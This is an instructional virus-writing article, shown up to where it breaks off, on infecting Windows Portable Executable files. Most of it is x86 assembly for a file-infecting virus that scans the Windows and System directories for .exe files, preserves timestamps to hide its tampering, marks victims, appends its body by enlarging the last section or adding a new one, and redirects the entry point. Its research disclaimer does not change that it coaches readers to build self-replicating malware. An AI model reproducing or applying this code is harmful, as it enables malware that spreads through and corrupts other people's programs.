Infecting the Portable EXE
by Lord Julus

                                  D I S C L A I M E R

>        The following document is a study. It's only purpose is to be used in
>        the virus research only. The author of this article is not responsible
>        for any misuse of the things written in this document. Most of the
>        things published here are already public and they represent what the
>        author gathered across the years.
>          The author is not responsible for the use of any of these information
>        in any kind of virus.
>                                    Lord Julus.

>      .------------.
>      |  Foreword  |
>      '------------'

>             As  normal  as you could expect, after starting getting preocupied in
>      Win32  programming,  my  first  approach  was on the 'getting into it' part,
>      which  came  up  in  my article called 'Accessing Win32 APIS by scanning the
>      import  tables'. The second part, which comes after the info-pe project, is,
>      of course, a guide to appending to the PE file. Hope you will all enjoy this
>      stuff...

>            As a sidenote, I will use the same notation as in my last article:

>                   offset A<apiname>A = a pointer to the real api

>            For example:

>                   mov eax, [ebp+AExitProcessA]
>                   call eax

>            is  the same as:

>                   call ExitProcess

>             I say this so you should understand that EBP is considered as a delta
>      handle.

>             For  many  people  the  following  article  might  look  a little bit
>      confusing.  The  fact  is  that  if  you  know a little about programming in
>      Win32,  a  little  about the PE header layout and a little about the PE file
>      layout itself, everything I wrote here suddenly becomes very easy.

>        .------------.
>        |   Credits  |
>        '------------'

>             The  first and biggest credits go to Shaitan and Quantum. Most of the
>      appending  code  here  is based on original ideas from the Win32.Shaitan and
>      Win32.Bizatch  viruses. Due to some leaks in the api handling system the two
>      viruses  are  harmless  and will not spread, but the appending method stands
>      high.  I  have  improved  myself  the routines as much as I could and I sure
>      hope you will understand it all...

>        .------------.
>        |   Basics   |
>        '------------'

>             Before  going  on the road of the asm I have to remind you again that
>      this  tutorial  expects  you  to  have at least a minimum knoledge on the PE
>      header.  If  you don't, go and read a book about it... you're gonna need it!
>      Also,  I  expect you know a little on the Win32 programming. If you don't, I
>      guess  there's no purpose to read this furthure (read my first Win32 article
>      first)...
>             I  will  use  the same method as my other article: I will explain the
>      stuff,  then I will present you a full code that does the trick with all the
>      explanations between blocks of instructions.

>             Even if  this article does not intend to teach you the ways of Win32,
>      I feel compelled to give you the least I can think of. So here goes:

>          .--------------.
>          | The Glossary |
>          |              |
>          |------------------------------------------------------------------.
>          |    PE                |  Portable Executable File                 |
>          |    PE header         |  Information on the PE file               |
>          |    Section           |  Part of the PE file                      |
>          |                      |  (The PE file is made up from more        |
>          |                      |   consecutive sections)                   |
>          |    Section Headers   |  Information on the PE section            |
>          |    Image Base        |  The address the PE file is loaded at     |
>          |                      |  execution                                |
>          |    VA                |  Virtual Address                          |
>          |    RVA               |  Relative Virtual Address                 |
>          |    Raw Data          |  The actual data in the section           |
>          |    Size of Raw Data  |  The actual section data length           |
>          |    Virtual Size      |  The virtual size of the section          |
>          |                      |  (is diffrent from the size of raw data   |
>          |                      |  because it is aligned to the section     |
>          |                      |  alignment)                               |
>          |    Alignment         |  A number to which the section or the     |
>          |                      |  file is aligned to                       |
>          |    EntrypointRVA     |  The RVA of the entrypoint (where the     |
>          |                      |  real code starts)                        |
>          '------------------------------------------------------------------'

>             As  you are probably used to, this article is almost complete for the
>      topic,  but  I  will  illustrate the ways of appending to a PE file from the
>      point  of  view  of  a directory scanning virus. This means that the article
>      will  give you complete directions on how to look-up directories, find files
>      and  infect them. However, the routines for PE file appending themselves can
>      be used also in other kinds of viruses, like, for example w95 TSRs.

>             So,  let's  set the goal: we want to open a Portable Exe (PE), append
>      some  code  to  it and redirect the initial instruction point (IP) to it, so
>      that  after  the execution of our code, it can jump to the original code and
>      run it with no problems.

>            Here are the two ways I will present here:

>                   1. Increasing the size of the last section
>                   2. Adding a new section

>            But first, let's check the things common to both methods.

>     -----| Common area |---------------------------------------------------------------

>             Here  I  will  describe  things  which  are common for both infection
>      types.  First  let  me  say that I will fully describe the entire process of
>      locating files and infecting them.

>             Here  is  the  most common approach: your virus has found the kernel,
>      has  located all the necesary apis and now, before returning to the original
>      host's code, it has to do the infection:

>           call Infect_directories           ; Infect the directories...
>                                             ;
>     getout:                                 ;
>           cmp ebp, 0                        ; first generation ?
>           je exit_now                       ;
>           mov eax, [ebp+offset oldip]       ; restore old IP
>           add eax, imagebase                ; align to memory
>           jmp eax                           ; and run host...
>                                             ;
>     exit_now:                               ;
>           push 0                            ;
>           call ExitProcess                  ;

>             As  you  can  see, the returning to the host is very easy! You simply
>      retrieve  the  saved value from oldip, you add the image base where the host
>      is loaded and you make a JMP to it...

>          .----------------------.
>     -----| Changing directories |--------------------------------------------------
>          '----------------------'

>             Let's  take  a  look  at  the simplest way to scan the directories in
>      order to locate PE files. Here are the apis we shall use:

>            GetWindowsDirectoryA
>            GetSystemDirectoryA
>            GetCurrentDirectoryA
>            SetCurrentDirectoryA

>            The first two functions expect this:

>                   push <size>
>                   push <offset to empty buffer>

>             The  <size>  is  the maximum length expected for the returned string.
>      The buffer is a space where the name of the directory will be returned.

>             For  the  third  function  (GetCurrentDirectoryA),  even  if  it does
>      exactly  the same type of job as the other two, it expects the parameters in
>      the reverse order:

>                   push <offset to empty buffer>
>                   push <size>

>            Usualy <size> equals 128h.

>             The  SetCurrentDirectory  function  expects on the stack a pointer to
>      the new directory:

>                   push <offset new directory>

>             I will not discuss the error messages here.

>             Let's  look  at  a common way of locating and changing to the Windows
>      and the System directories and then returning to the original directory:

>     Infect_directories proc near
>            push  128                          ; Get Windows directory
>            lea eax, [ebp+offset windir]       ;
>            push eax                           ;
>            mov eax, [ebp+offset AGetWindowsDirectoryA]
>            call eax                           ;
>                                               ;
>            push  128                          ; Get System directory
>            lea eax, [ebp+offset sysdir]       ;
>            push eax                           ;
>            mov eax, [ebp+offset AGetSystemDirectoryA]
>            call eax                           ;
>                                               ;
>            lea eax, [ebp+offset crtdir]       ; Get Current directory
>            push eax                           ;
>            push 128                           ;
>            mov eax, [ebp+offset AGetCurrentDirectoryA]
>            call eax                           ;
>                                               ;
>            lea eax, [ebp+offset windir]       ;  Change to Windows directory
>            push eax                           ;
>            mov eax, [ebp+offset ASetCurrentDirectoryA]
>            call eax                           ;

>             So,  we  are  in  the  Windows  directory now... Let's set a level of
>      infection and call the directory infection routine:

>            mov dword ptr [ebp+offset infections], 3 ; infect 3 files there
>            call infect_current_dir            ;
>                                               ;
>            lea eax, [ebp+offset sysdir]       ; Change to System directory
>            push eax                           ;
>            mov eax, [ebp+offset ASetCurrentDirectoryA]
>            call eax                           ;

>            The same thing goes for the System directory:

>            mov dword ptr [ebp+offset infections], 3 ; infect 3 files there
>            call infect_current_dir            ;

>            Now let's return  to the original current directory:

>            lea eax, [ebp+offset crtdir]       ; Change back to current directory
>            push eax                           ;
>            mov eax, [ebp+offset ASetCurrentDirectoryA]
>            call eax                           ;
>            ret                                ;
>     Infect_directories endp                   ;

>            Here are the definitions used in the above procedure:

>            windir db 128h dup(0)             ; Windows directory
>            sysdir db 128h dup(0)             ; System directory
>            crtdir db 128h dup(0)             ; Current directory

>             Ok,  now  we  know  how to change directories. The above thing is the
>      least  your  virus  should  do. In order to make a more sophisticated virus,
>      you   need  to  make  a  smart  attack. This includes droping over very used
>      files,  like CLIPBRD.EXE, CALC.EXE, MSHEARTS.EXE, etc., doing back directory
>      scan,  using  smart marks in the registry... But this will be all covered in
>      the next article (called 'Playing w/ the Registry', probably)...

>          .---------------.
>     -----| Finding Files |--------------------------------------------------------
>          '---------------'

>             This  procedure  (infect_current_dir)  is called whenever a directory
>      needs  to be infected. The number of files searched in the current directory
>      is equal to the 'infections' variable set before calling this procedure.

>            Let's see what apis shall we use in this stage:

>            FindFirstFileA
>            FindNextFileA

>            The FindFirstFileA expects this:

>                   push <offset search_record>
>                   push <offset search_match>

>             The  search  record  is an empty buffer which will be filled with the
>      appropiate values if the searched file is found.

>            The search_match is a pointer to a string, like this for example:

>                   exestr db "*.exe",0

>             Using  this,  the FindFirst api will search for any file with the EXE
>      extension.

>             The search record has a special layout. Here is how you should define
>      it:

>      max_path EQU 260                                  ; max length of filename
>                                                        ;
>      filetime                        STRUC             ; filetime structure
>              FT_dwLowDateTime        DD ?              ;
>              FT_dwHighDateTime       DD ?              ;
>      filetime                        ENDS              ;
>                                                        ;
>      win32_find_data                 STRUC             ;
>              FileAttributes          DD ?              ; attributes
>              CreationTime            filetime ?        ; time of creation
>              LastAccessTime          filetime ?        ; last access time
>              LastWriteTime           filetime ?        ; last modificationm
>              FileSizeHigh            DD ?              ; filesize
>              FileSizeLow             DD ?              ; -"-
>              Reserved0               DD ?              ;
>              Reserved1               DD ?              ;
>              FileName                DB max_path DUP (?) ; long filename
>              AlternateFileName       DB 13 DUP (?)     ; short filename
>                                      DB 3 DUP (?)      ; dword padding
>      win32_find_data                 ENDS              ;
>                                                        ;
>      search    win32_find_data ?                       ; our search area

>             If  the function succeds, a file handle is returned in EAX and by all
>      means  you  have  to  save it! And that is needed because the next function,
>      FindNextFileA needs it. Before calling it you should do this:

>                   push <offset search_record>
>                   push handle

>             If  no  file  is  found, EAX=0h, otherwise a new handle is put in EAX
>      and the search record is filled with the new values.

>            Ok, now as you know how it works, let's see the full example:

>     infect_current_dir proc near              ; This infects the current dir
>           lea edi, [ebp+offset search]        ; point to Search Record
>           lea eax, [ebp+offset search]        ; "    "      "      "
>           push eax                            ; push the address of the s_record
>           lea eax, [ebp+offset exestr]        ;
>           push eax                            ; push the address of file mask
>           mov eax, [ebp+offset AFindFirstFileAA]
>           call eax                            ; find first matching file

>           If no file was found, EAX=0FFFFFFFFh, otherwise EAX=new handle...

>           inc eax                             ; check for EAX = -1
>           jz no_files                         ;
>           dec eax                             ; restore eax
>           push eax                            ; save handle
>           lea esi, [edi.FileName]             ; ESI = pointer to filename...
>           mov ecx, [edi.FileSizeLow]          ; ECX = filesize

>             I  used edi. because edi pointed to the search record structure. Now,
>      esi  points to the file name and ecx holds the file's size. It's all that we
>      need to infect it...

>           Call Infect_File                    ; infect file...

>             A  description  of  this  procedure  follows  below.  If the file was
>      infected  correctly, the carry is cleared otherwise it's set. If it's clear,
>      then we decrease the number of already done infections.

>           jc Another_file                     ;
>           dec dword ptr [ebp+offset infections] ; decrement infection count

>           Here we are about to start the FindNext routine:

>     Another_file:                             ;
>           push edi                            ; save search record address
>           lea edi, [edi.FileName]             ; We have to clean up the area
>           mov ecx, 13d                        ; the new filename will appear on,
>           mov al, 0                           ; otherwise shit remains before the
>           rep stosb                           ; extension...
>           pop edi                             ; restore search record address
>           pop eax                             ; restore file handle
>           push eax                            ; and save it again
>           push edi                            ; push find zone
>           push eax                            ; push handle
>           mov eax, [ebp+offset AFindNextFileAA]
>           call eax                            ; and find the next matching file
>                                               ;
>           test eax, eax                       ; no more files ?
>           jz All_done                         ;
>           lea esi, [edi.FileName]             ; ESI = pointer to filename...
>           mov ecx, [edi.FileSizeLow]          ;
>           Call Infect_File                    ; infect file...
>           jc failinfection                    ;
>           dec dword ptr [ebp+infections]      ; decrement infection count
>                                               ;
>     failinfection:                            ;
>           cmp dword ptr [ebp+infections], 0   ; done ?
>           jne Another_file                    ;
>                                               ;
>     All_done:                                 ;
>           pop eax                             ;
>     no_files:                                 ;
>           ret                                 ;
>     infect_current_dir endp                   ;

>             So,  basically  I  guess you understood this. It's no big philosophy.
>      Just  search  for  the  first  matching file (exe, dll, etc...) and call the
>      infecting  procedure,  then  try  to  locate another file, all until no more
>      files are to be found or the maximum number of infections was met.

>             Now,  let's see what can we do after we located the file we wanted in
>      the  current  directory.  Remember  that ESI points to the file name and ECX
>      holds the file's length...

>          .------------------------------.
>     -----| Opening and mapping the file |-----------------------------------------
>          '------------------------------'

>             Under Win32, it is extremly easy to manipulate files. The method used
>      is  the  mapping.  By  mapping  you should understand this: a memory area is
>      allocated  and  the  entire  file  is mapped there. This means that you work
>      directly  into  memory  and everything that you do there is reflected in the
>      physical  file  also.  All the relative addresses inside the file start from
>      the  address of the map. Here you must be very attentive not to mix the file
>      handle with the map handle.

>            Let's start:

>     Infect_File Proc Near
>           pushad                                 ; save all registers
>                                                  ;
>           mov dword ptr [ebp+newfilesize], ecx   ; save file size
>           mov word ptr [ebp+infectionflag], 0    ; reset infection flag
>           add ecx, viruslen                      ; ecx = victim filesize + virus
>           add ecx, 1000h                         ; + 1000h
>           mov [ebp+offset memory], ecx           ; this will give us the memory
>                                                  ; to map...

>             When mapping a file we need an amount of memory equal to the original
>      file  plus  the  virus  length  which will be appended, plus some extra work
>      space. If you don't allocate enough memory for the map, when trying to write
>      over  the  boundaries  of  the map, the virus will generate an invalid fault
>      page.

>           Let's check the apis we use here more detailed:

>     ------------------------------------------------------------------------------

>          .--------------------.
>        .-| GetFileAttributesA |
>        | '--------------------'
>        |--------> expects:      push <offset filename>
>        |
>        '--------< returns:      EAX = file attributes

>     ------------------------------------------------------------------------------

>          .--------------------.
>        .-| SetFileAttributesA |
>        | '--------------------'
>        |--------> expects:      push <new attributes>
>        |                        push <offset filename>
>        |
>        '--------< returns:      nothing

>            The used value for <new attributes> is 80h, meaning 'any file'.

>     ------------------------------------------------------------------------------

>          .-------------.
>        .-| CreateFileA |
>        | '-------------'
>        |
>        |--------> expects:      push <file template handle>
>        |                        push <file attributes>
>        |                        push <open type>
>        |                        push <security option>
>        |                        push <sharing mode>
>        |                        push <access mode>
>        |                        push <offset filename>
>        |
>        '--------< returns:      EAX = file handle if success
>                                 EAX = 0 if failed

>             As  much  as the name sounds like it only creates new files, this api
>      is very useful and can also be used to open files. Here are the descriptions
>      for the arguments:

>            <file template handle> MUST be 0 for Windows95!
>            <file attributes> should be 0 (any file)
>            <open type> should be 3 (open existing file)
>            <security option> should be 0 (default)
>            <sharing mode> should be 1 (file shared for read)
>            <access mode> should be (80000000h + 40000000h) (generic read/write)

>     ------------------------------------------------------------------------------

>          .--------------.
>        .-| GetFileTimeA |
>        | '--------------'
>        |--------< expects:      push <offset creation_time>
>        |                        push <offset last_write_time>
>        |                        push <offset last_access_time>
>        |                        push <file handle>
>        |
>        '--------< returns:      at the specified offsets the 3 types of time

>     ------------------------------------------------------------------------------

>          .--------------.
>        .-| GetFileSizeA |
>        | '--------------'
>        |--------> expects:      push <offset filesize>
>        |                        push <filehandle>
>        |
>        '--------< returns:      filesize at the specified offset

>             Warning:  you need to have a dword as the filesize, but when you push
>      the offset you push the offset of it's high word.

>     ------------------------------------------------------------------------------

>          .--------------------.
>        .-| CreateFileMappingA |
>        | '--------------------'
>        |--------> expects:      push <filename handle>
>        |                        push <maximum size>
>        |                        push <minimum size>
>        |                        push <page access rights>
>        |                        push <security attributes>
>        |
>        '--------< returns:      EAX = map handle if success
>                                 EAX = 0 if failed

>            <filename handle> must be 0
>            <maximum size> is the 'memory' value we computed earlier
>            <minimum size> is 0
>            <page access rights> should be 4 (page read/write)
>            <security attributes> should be 0 (default)

>             So, basically this allocates a memory area equal to 'memory', serving
>      to be filled with a file, job done by the next api:

>     ------------------------------------------------------------------------------

>          .---------------.
>        .-| MapViewOfFile |
>        | '---------------'
>        |--------> expects:      push <amount>
>        |                        push <file offset high>
>        |                        push <file offset low>
>        |                        push <map access mode>
>        |                        push <map handle>
>        |
>        '--------< returns:      EAX = the address of the map if success
>                                 EAX = 0 if failed

>            <amount> equals the 'memory'
>            <file offset high> and
>            <file offset low> mark from where to map. Should be 0
>            <map access mode> should be 2 (file map write)
>            <map handle> the handle returned by CreateFileMapping

>     ------------------------------------------------------------------------------

>          .-----------------.
>        .-| UnMapViewOfFile |
>        | '-----------------'
>        |--------> expects:      push <map address>
>        |
>        '--------< returns:      nothing

>             This  frees  the  memory  of  the map. The map address is the address
>      returned by MapViewOfFile.

>     ------------------------------------------------------------------------------

>          .-------------.
>        .-| CloseHandle |
>        | '-------------'
>        |--------> expects:      push <handle>
>        |
>        '--------< returns:      nothing

>             The  handle  can be anykind of handle. Therefor, we use this to close
>      the  map  handle  first (returned by the CreateFileMapping) and then for the
>      file itself (the file handle returned by CreateFileA).

>     ------------------------------------------------------------------------------

>          .----------------.
>        .-| SetFilePointer |
>        | '----------------'
>        |--------> expects:      push <how to move>
>        |                        push <distance to move high>
>        |                        push <distance to move>
>        |                        push <file handle>
>        |
>        '--------< returns:      nothing

>            <how to move> is 0 (from beginning of file)
>            <distance to move high> should be set to 0
>            <distance to move> is the length of file
>            <file handle> is the file handle

>             Actually,  how I gave you the parameters, they are set as to move the
>      file  pointer  to  the  end  of file. The distanceto move high is actually a
>      pointer  to  a  value. If it's set to zero this function can only operate on
>      files with the length 2^32.

>     ------------------------------------------------------------------------------

>          .--------------.
>        .-| SetEndOfFile |
>        | '--------------'
>        |--------> expects:      push <file handle>
>        |
>        '--------< returns:      nothing

>             Sets the EOF to the current position of the pointer. Used to truncate
>      files.

>     ------------------------------------------------------------------------------

>          .-------------.
>        .-| SetFileTime |
>        | '-------------'
>        |--------> expects:      push <offset creation_time>
>        |                        push <offset last_write_time>
>        |                        push <offset last_access_time>
>        |
>        '--------< returns:      nothing

>     ------------------------------------------------------------------------------

>             I know that maybe reading the description of the apis like this might
>      be  a  little  confunsing, but as we will look over the code itself you will
>      understand  better. Then you may look back on the description and understand
>      better.  What  I forgot to say is that all of the above apis return 0 in EAX
>      if an error occured and CF is set, so it's very easy to check for errors.

>            Ok, now let's go on with the code:

>         + First let's save the original attributes:

>           mov [ebp+offset fileofs], esi          ; esi = pointer to filename
>           push esi                               ; save it
>           mov eax, [ebp+AGetFileAttributesA]     ;
>           call eax                               ; Get the file attributes
>           cmp eax, 0                             ;
>           mov [ebp+fileattributes], eax          ; save them

>         + Now let's set the 'any file' attribute:

>           push 80h                               ;
>           push esi                               ;
>           mov eax, [ebp+offset ASetFileAttributesA]
>           call eax                               ; set them to normal
>                                                  ;

>         + Now let's open the file

>           push 0                                 ; file template
>           push 0                                 ; file attributes
>           push 3                                 ; OPEN EXISTING File
>           push 0                                 ; Security option = default
>           push 1                                 ; File share for read
>           push 80000000h or 40000000h            ; General write and read
>           push esi                               ; pointer to filename
>           mov eax, [ebp+offset ACreateFileA]     ;
>           Call eax                               ; Call Api
>                                                  ; EAX = file handle
>           mov [ebp+offset filehandle], eax       ;
>           cmp eax, -1                            ;
>           je infection_error                     ; can't open file ?!?

>        + Let's save file's creation, last write, last access time

>           mov ebx, offset ftcreation             ; save all 3 types of time
>           add ebx, ebp                           ;
>           push ebx                               ;
>           add ebx, 8                             ;
>           push ebx                               ;
>           add ebx, 8                             ;
>           push ebx                               ;
>           push eax                               ;
>           mov ebx, [ebp+AGetFileTimeA]           ;
>           call ebx                               ; get'em

>         + Now let's get the filesize and save it for later:

>           push 0                                 ; save the filesize for later
>           push dword ptr [ebp+offset filehandle] ;
>           mov eax, [ebp+AGetFileSizeA]           ;
>           call eax                               ;
>           mov dword ptr [ebp+offset newfilesize], eax

>         + Let's go on and create the file mapping for the file:

>           push 0                                 ; filename handle = NULL
>           push dword ptr [ebp+offset memory]     ; max size
>           push 0                                 ; min size (no need)
>           push 4                                 ; Page read & write
>           push 0                                 ; security attributes
>           push dword ptr [ebp+offset filehandle]
>           mov eax, [ebp+offset ACreateFileMappingA]
>           call eax                               ; File map!
>                                                  ; Eax = new map handle
>           mov [ebp+offset maphandle], eax        ;
>           cmp eax, 0                             ;
>           je close_file                          ; can't map file ?!?

>         + If we have the map, let's map the view of the file:

>           push dword ptr [ebp+offset memory]     ; bytes to map
>           push 0                                 ; file offset
>           push 0                                 ; "  " "    "
>           push 2                                 ; File Map Write Mode
>           push eax                               ; File Map Handle
>           mov eax, [ebp+offset AMapViewOfFileA]  ; Call API
>           call eax                               ;
>                                                  ;
>           cmp eax, 0                             ;
>           je close_map                           ; can't map view of file ?!?
>           mov esi, eax                           ; ESI = base of map...
>           mov [ebp+offset mapaddress], esi       ;

>             We succeded! The file is opened and we can work on it knowing that it
>      is  mapped at the ESI address. First let's check if it is EXE and if it is a
>      PE file:

>           cmp word ptr [esi], 'ZM'               ; Exe file ?
>           jne Unmap_view                         ;
>           cmp word ptr [esi+38h], 'xx'           ; Already infected ?
>           jne ok_go                              ;
>           mov word ptr [ebp+infectionflag], 0FFh ; mark it...
>           jmp Unmap_view                         ;
>                                                  ;
>     ok_go:                                       ;
>           mov ebx, dword ptr [esi+3ch]           ;
>           cmp word ptr [esi+ebx], 'EP'           ; Portable Exe ?
>           jne Unmap_view                         ;

>             If  the  file is not EXE, is already infected or is not a PE file, we
>      proceed to unmap the view of file, otherwise we continue:

>           add esi, ebx                           ; ESI points to PE header
>           mov [ebp+offset PEheader], esi         ;
>           mov eax, [esi+28h]                     ; save IP of file
>           mov [ebp+offset oldip], eax            ;

>             The oldip value is the one we save and use for when we want to return
>      to the original host.

>           mov eax, [esi+3ch]                     ; save file alignement
>           mov [ebp+offset filealign], eax        ;

>             When  we  append  the virus to the PE file we increase it's size. But
>      the  file  alignment must be preserved. The file alignment is a number which
>      divides  the  file  size exactly (filesize mod filealign = 0), or at least I
>      think it should, but it seems the OS doesn't give much shit about it...

>           Starting  this  place,  you may  choose the first method, or the second
>      method:

>         .--------------------------------.
>     ----| 1. Increasing the last section |----------------------------------------
>         '--------------------------------'

>             From  here  on, we must go specific. The following is the description
>      of the first method of increasing the last section's body.

>             Here  your knowledge of the PE header is really needed. First we want
>      to locate the last section.

>           mov ebx, [esi+74h]                     ; No. of directories entries
>           shl ebx, 3                             ; * 8 (size)
>           xor eax, eax                           ;
>           mov ax, word ptr [esi+6h]              ; no. of sections
>           dec eax                                ; we look for the last's ending
>           mov ecx, 28h                           ; size of sections' header
>           mul ecx                                ; EAX = ECX * EAX
>           add esi, 78h                           ;
>           add esi, ebx                           ;
>           add esi, eax                           ; ESI = Pointer to the last
>                                                  ; section header

>           The formula used is this:

>           Address of the last section's header =
>           (Directory Table) +
>           (No. of Directories)*(Directory Size) +
>           (No. of Sections - 1)*(Section header size)

>           The Directory size is 8.
>           The Section Header size is 28h.
>           The pointer to the Directory Table is 78h.

>             So,  after the calculations, ESI points to the last section's header.
>      Let's start modifying it:

>           or dword ptr [esi+24h],00000020h       ; Set [CWE] flags: code,
>           or dword ptr [esi+24h],20000000h       ;                  executable,
>           or dword ptr [esi+24h],80000000h       ;                  writable

>             The  flags  are very important. They tell the loader that the section
>      now has executable code and it is writable.

>           mov eax, [esi+10h]                     ; save size of raw data in
>           mov [ebp+offset oldrawsize], eax       ; this section
>           add dword ptr [esi+8h], viruslen       ; and increase virtual size

>             The  size  of raw data is the actual size of the data in the section.
>      The  virtual  size  is  the  one  we must increase with our virus size. Now,
>      after the increasing, let's check how much did we mess the file align. To do
>      that  we  divide  the  new  size  to  the  filealign  value  and we get as a
>      reminder the number of bytes to pad:

>           mov eax, [esi+8h]                      ; Get new size in EAX
>           mov ecx, [ebp+offset filealign]        ; ECX = File alignment
>           div ecx                                ; Get remainder in EDX
>           mov ecx, [ebp+offset filealign]        ; ECX = File alignment
>           sub ecx, edx                           ; No. of bytes to pad...
>           mov [esi+10h], ecx                     ; "     "       "       "

>           Now size of raw data = no.of bytes to pad

>           mov eax, [esi+8h]                      ; Get current VirtualSize
>           add eax, [esi+10h]                     ; EAX = SizeOfRawdata padded
>           mov [esi+10h], eax                     ; Set new SizeOfRawdata

>           Now size of raw data = old virtual size + no. of bytes to pad

>           mov [ebp+offset newrawsize], eax       ; Also, save it...

>             The  virus  will  be at the end of the section. In order to find it's
>      address we have the formula:

>            VirtualAddress + VirtualSize - VirusLength = VirusStart

>           mov eax, [esi+0ch]                     ; Get VirtualAddress
>           add eax, [esi+8h]                      ; Add VirtualSize
>           sub eax, viruslen                      ; Deduct size of virus
>           mov [ebp+offset newip], eax            ; EAX = New EIP! Save it...

>           Here we compute with how much did we increase the size of raw data:

>           mov eax, [ebp+offset oldrawsize]       ; Original SizeOfRawdata
>           mov ebx, [ebp+offset newrawsize]       ; New SizeOfRawdata
>           sub ebx, eax                           ; Increase in size
>           mov [ebp+offset incrawsize], ebx       ; Save increase value...

>           Compute the new file size:

>           mov eax, [esi+14h]                     ; File offset of sec's rawdata
>           add eax, [ebp+offset newrawsize]       ; Add size of new rawdata
>           mov [ebp+offset newfilesize], eax      ; EAX = New filesize! Save...

>           Now prepare to copy the virus to the host. The formulas are:

>           Address to copy to = Map Address +
>                                Last Section Address +
>                                Last Section Virtual Size -
>                                Virus Length

>           Address to copy from = the start

>           mov eax, [esi+14h]                     ; File offset of sec's rawdata
>           add eax, [esi+8h]                      ; Add VirtualSize of section
>           sub eax, viruslen                      ; Deduct virus length from it
>           add eax, [ebp+offset mapaddress]       ; align in memory to map address
>                                                  ;
>           mov edi, eax                           ; Location to copy to...
>           mov esi, offset start                  ; Location to copy from...
>           add esi, ebp                           ; Adjust with delta pointer
>           mov ecx, viruslen                      ; No. of bytes to copy
>           rep movsb                              ; Copy all the bytes!

>             Now,  let's  alter  furthur  the  PE  header,  by marking the new IP,
>      increasing  the  total  size  of the files' image with the increasing of the
>      last section:

>           mov esi, [ebp+offset PEheader]         ; ESI = Addr. of PE header
>           mov eax, [ebp+offset newip]            ; Get value of new EIP in EAX
>           mov [esi+28h], eax                     ; Write it to the PE header
>           mov eax, [ebp+offset incrawsize]       ; Get inc. size of last section
>           add [esi+50h], eax                     ; Add it to SizeOfImage

>           Now, let's mark the file as infected:

>           mov esi, [ebp+offset mapaddress]       ; mark file as infected
>           mov word ptr [esi+38h], 'xx'           ;

>           That's it !!!

>             That's  all  about  appending to the last section. Let's make a quick
>      review of what we did and how:

>            ù locate PE header
>            ù locate Directory Table at 78h
>            ù locate last section's header address
>            ù increase the size of raw data
>            ù increase the virtual size
>            ù append the virus to the end
>            ù locate the new IP
>            ù mark the new IP
>            ù increase the size of image

>            That's all ! Now all you have to do is read the closing procedures...

>         .-------------------------.
>     ----| 2. Adding a new section |-----------------------------------------------
>         '-------------------------'

>             Now, let's go on with the second method.
>             Let's keep in mind that ESI was pointing to the PE header, and let me
>      tell  you  that  as  weare  going  to  create a new section, we need to also
>      retrieve the section align, like this:

>            mov eax, [esi+38h]
>            mov dword ptr [ebp + sectionalign], eax

>             Here is the layout used for the new section. The name field must be 8
>      characters  long  and  you  may put anything you want in there. Take peak to
>      some common files. You may also set this to your virus name, for example...

>             newsection:                       ;
>             nsname           db ".section"    ; section name
>             nsvirtualsize    dd 0             ; Virtual Size
>             nsRVA            dd 0             ; Relative Virtual Size
>             nsphysicalsize   dd 0             ; = Size Of Raw Data
>             nsphysicaloffset dd 0             ; = Pointer to Size of Raw Data
>             nsreserved       dd 0,0,0         ; reserved
>             nsflags db 40h,0,0,0c0h           ; = Code, Executable, Writable

>         + Let's locate the end of the last section's header:

>           mov ebx, [esi+74h]                     ; No. of directories entries
>           shl ebx, 3                             ; * 8 (size)
>           xor eax, eax                           ;
>           mov ax, word ptr [esi+6h]              ; no. of sections
>           mov ecx, 28h                           ; size of sections' header
>           mul ecx                                ; EAX = ECX * EBX
>           add esi, 78h                           ;
>           add esi, ebx                           ;
>           add esi, eax                           ; ESI = Pointer to the end of
>                                                  ; the last section
>           lea edi, [ebp + offset newsection]     ;
>           xchg edi, esi                          ;

>             Now,  EDI points to the end of the last section and ESI points to the
>      new  section layout. Let's start calculating the new values for this section
>      header.  The  values are calculated using the last sections' values and they
>      are rounded accordingly to the section alignment:

>         + Calculate the Relative Virtual Address (RVA) of the new section:

>           mov eax, [edi-5*8+8d]                           ; get last sect.'s RVA
>           add eax, [edi-5*8+12d]                          ; + last sect.'s size
>           mov ecx, dword ptr [ebp + offset sectionalign]  ; take section align
>           xor edx,edx                                     ;
>           div ecx                                         ;
>           inc eax                                         ; and make sure RVA
>           mul ecx                                         ; is aligned to it
>           mov dword ptr [ebp + offset nsRVA], eax         ; Got it !

>         + Calculate the physical size of the new section:

>           mov ecx, dword ptr [ebp + offset filealign]     ; take file alignment
>           mov eax,end-start                               ; eax = virus size
>           xor edx,edx                                     ;
>           div ecx                                         ;
>           inc eax                                         ; make sure the new
>           mul ecx                                         ; section respects file
>           mov dword ptr [ebp + offset nsphysicalsize],eax ; alignment

>         + Calculate the virtual size of the new section:

>           mov ecx, dword ptr [ebp + offset sectionalign]  ; we must align again
>           mov eax, end - start + 1000h                    ; virus size + work
>           xor edx, edx                                    ; space
>           div ecx                                         ;
>           inc eax                                         ;
>           mul ecx                                         ;
>           mov dword ptr [ebp + offset nsvirtualsize],eax  ;

>         + Calculate the physical offset of the new section:

>           mov eax,[edi-5*8+20d]                           ; The last section's
>           add eax,[edi-5*8+16d]                           ; pointer to raw data
>           mov ecx,dword ptr [ebp + offset filealign]      ; + it's size of raw
>           xor edx,edx                                     ; data, aligned to the
>           div ecx                                         ; file alignment
>           inc eax                                         ;
>           mul ecx                                         ;
>           mov dword ptr [ebp + offset nsphysicaloffset],eax

>         + Update the image size (the size in memory) of the file:

>           mov eax, end-start+1000h                        ; virus size + work
>           add eax,dword ptr [ebp + offset imagesize]      ; space
>           mov ecx,[ebp + offset sectionalign]             ; and, of course,
>           xor edx,edx                                     ; aligned to the
>           div ecx                                         ; section align
>           inc eax                                         ;
>           mul ecx                                         ;
>           mov dword ptr [ebp + offset imagesize],eax      ; save it in PE header

>         + Copy the new section after the last section header:

>           mov ecx,10
>           rep movsd

>             You  may  ask  why I can write directly, without making space for the
>      new  section, by lowering everything downwards? That's easy: there is always
>      space for at least one new section header.

>         + Now, let's save the new IP, and make it point to the virus:

>           mov eax, dword ptr [ebp + offset nsRVA]
>           mov dword ptr [ebp + newip], eax

>         + Finally, let's copy our virus to the end of the file:

>           mov edi, [ebp + offset nsphysicaloffset]   ; to the Raw Data Pointer
>           add edi, [ebp + offset mapaddress]         ; (we are in a map!!)
>           lea esi, [ebp + start]                     ; from the start
>           mov ecx, (end-start)/4+2                   ; virus length
>           cld                                        ; clear direction flag
>           rep movsd                                  ; and copy

>           Why   +2?  Just to make sure you don't loose the last bytes by dividing
>      with 4.

>         + And now, update the final changes in the PE header:

